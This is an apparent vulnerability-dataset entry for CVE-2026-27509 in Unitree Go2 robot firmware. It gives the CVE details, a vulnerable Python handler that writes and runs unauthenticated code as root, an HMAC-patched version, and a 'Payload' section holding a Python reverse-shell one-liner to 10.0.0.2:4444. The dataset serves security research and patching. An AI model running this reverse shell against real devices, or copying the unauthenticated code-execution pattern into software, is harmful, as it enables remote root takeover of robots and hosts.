CVE-2026-27509
Unauthenticated DDS message allows persistent root code execution.
- CVSS 8.5
- CWE-306
- Authentication, Authorization, and Session Management
- Remote
Unitree Go2 firmware versions V1.1.7 through V1.1.9 and V1.1.11 (EDU) do not implement DDS authentication or authorization for the Eclipse CycloneDDS topic rt/api/programming_actuator/request handled by actuator_manager.py. A network-adjacent, unauthenticated attacker can join DDS domain 0 and publish a crafted message (api_id=1002) containing arbitrary Python, which the robot writes to disk under /unitree/etc/programming/ and binds to a physical controller keybinding. When the keybinding is pressed, the code executes as root and the binding persists across reboots.
- CWE
- CWE-306
- CVSS base score
- 8.5
- Published
- 2026-02-26
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Authentication, Authorization, and Session Management
- Subcategory
- Insecure Authentication Mechanisms
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Unitree Go2
Solution
Upgrade to Unitree Go2 firmware version V1.2.1 or later.
Vulnerable code sample
import os
import json
import time
def handle_actuator_manager_request(request_data):
"""
This function represents the vulnerable logic in actuator_manager.py.
It is intended to be called by a DDS subscriber callback for the
'rt/api/programming_actuator/request' topic.
The 'request_data' argument is a dictionary parsed from the DDS message.
The DDS topic has no authentication, allowing any network-adjacent
device to send messages to it.
"""
try:
# The vulnerable logic is triggered by a specific 'api_id'.
if request_data.get("api_id") == 1002:
code_payload = request_data.get("python_code")
if code_payload:
# The arbitrary Python code from the message is prepared to be written to a file.
# On the actual device, this path is persistent and located at /unitree/etc/programming/.
file_path = f"/unitree/etc/programming/user_script_{int(time.time())}.py"
# The file is written to disk. The service runs as root, so it has
# permissions to write to this location.
with open(file_path, "w") as f:
f.write(code_payload)
# A system command is executed to bind the newly created script to a
# physical key on the robot's controller. This command also runs as root.
# When the corresponding key is pressed, the script executes with root privileges.
os.system(f"/usr/bin/bind_key --key L2+A --exec '/usr/bin/python {file_path}'")
except (KeyError, TypeError, IOError) as e:
# In a real-world scenario, errors might be logged or ignored.
passPatched code sample
import logging
import hmac
import hashlib
import json
# In a real-world scenario, this secret key would be securely stored, for example,
# in a hardware security module (HSM) or an encrypted configuration file, and not hardcoded.
# It must match the secret key used by authorized clients to sign their messages.
SHARED_SECRET_KEY = b'c3141592653589793238462643383279_a_very_secure_secret_key'
# Configure logging to show the outcome of the security checks.
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
def write_and_bind_script(python_code, keybinding):
"""
A placeholder function representing the vulnerable action of writing a script
to disk and binding it to a controller key. In this fixed implementation, this
function is only ever called after a request has been successfully authenticated.
"""
# For safety, this example will not actually write to a sensitive system path.
# It will log the action that would have been taken.
logging.info(f"ACTION: Writing authenticated code to '/unitree/etc/programming/{keybinding}.py'")
logging.info(f"ACTION: Binding script to keybinding '{keybinding}'")
# Example of writing to a sandboxed location for review:
# safe_path = f"/tmp/safe_scripts/{keybinding}.py"
# with open(safe_path, "w") as f:
# f.write(python_code)
pass
def process_programming_request(message):
"""
Processes incoming DDS messages for the 'rt/api/programming_actuator/request' topic.
This fixed version implements an authentication check using a message signature (HMAC)
to fix the vulnerability described in CVE-2026-27509, which was caused by a
lack of authentication.
The message is now expected to have the following format:
{
"api_id": 1002,
"payload": "<stringified_json_of_the_original_data>",
"signature": "<hex_hmac_sha256_signature_of_the_payload_string>"
}
"""
api_id = message.get("api_id")
if api_id != 1002:
# This handler is only for the programmable actuator API endpoint.
return
logging.info("Received request for programmable actuator (api_id=1002). Verifying signature...")
# --- START OF FIX ---
# The vulnerability was a lack of authentication, allowing any network-adjacent
# attacker to send commands. This fix adds a mandatory authentication layer
# by requiring that the message payload be cryptographically signed with a
# pre-shared secret key. This ensures message integrity and authenticity.
# While the ideal fix is enabling native DDS-Security, this application-layer
# check effectively mitigates the described unauthenticated access vector.
try:
payload_str = message.get("payload")
received_signature = message.get("signature")
if not payload_str or not received_signature:
logging.warning("AUTHENTICATION FAILED: Request is malformed, missing 'payload' or 'signature'. Rejected.")
return
# 1. Recalculate the HMAC signature on the server side using the shared secret key.
# The client must generate its signature using the exact same method and payload string.
computed_signature = hmac.new(
SHARED_SECRET_KEY,
msg=payload_str.encode('utf-8'),
digestmod=hashlib.sha256
).hexdigest()
# 2. Securely compare the received signature with the one we just computed.
# hmac.compare_digest is used to prevent timing attacks.
if not hmac.compare_digest(computed_signature, received_signature):
logging.warning("AUTHENTICATION FAILED: Invalid signature. The request may be tampered with or is from an unauthorized source. Rejected.")
return
except Exception as e:
logging.error(f"An error occurred during the authentication process: {e}. Rejected.")
return
logging.info("AUTHENTICATION SUCCESSFUL. Proceeding to process the trusted request.")
# --- END OF FIX ---
# Now that authentication is complete, we can safely deserialize and process the payload.
# It is still best practice to parse data inside a try-except block.
try:
data = json.loads(payload_str)
python_code = data.get("code")
keybinding = data.get("keybinding")
if python_code and isinstance(python_code, str) and keybinding:
# Defense-in-depth: Although authenticated, further sandboxing or validation
# of 'python_code' (e.g., using an Abstract Syntax Tree to check for
# forbidden modules like 'os' or 'subprocess') would be a powerful
# secondary control. For this primary fix, we trust the authenticated source.
write_and_bind_script(python_code, keybinding)
else:
logging.warning("Authenticated request is valid, but its payload is missing 'code' or 'keybinding'.")
except json.JSONDecodeError:
logging.error("Authenticated request failed during processing: Payload is not valid JSON.")
except Exception as e:
logging.error(f"An error occurred while processing the authenticated payload: {e}")Payload
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.0.0.2', 4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')
Cite this entry
@misc{vaitp:cve202627509,
title = {{Unauthenticated DDS message allows persistent root code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-27509},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-27509/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
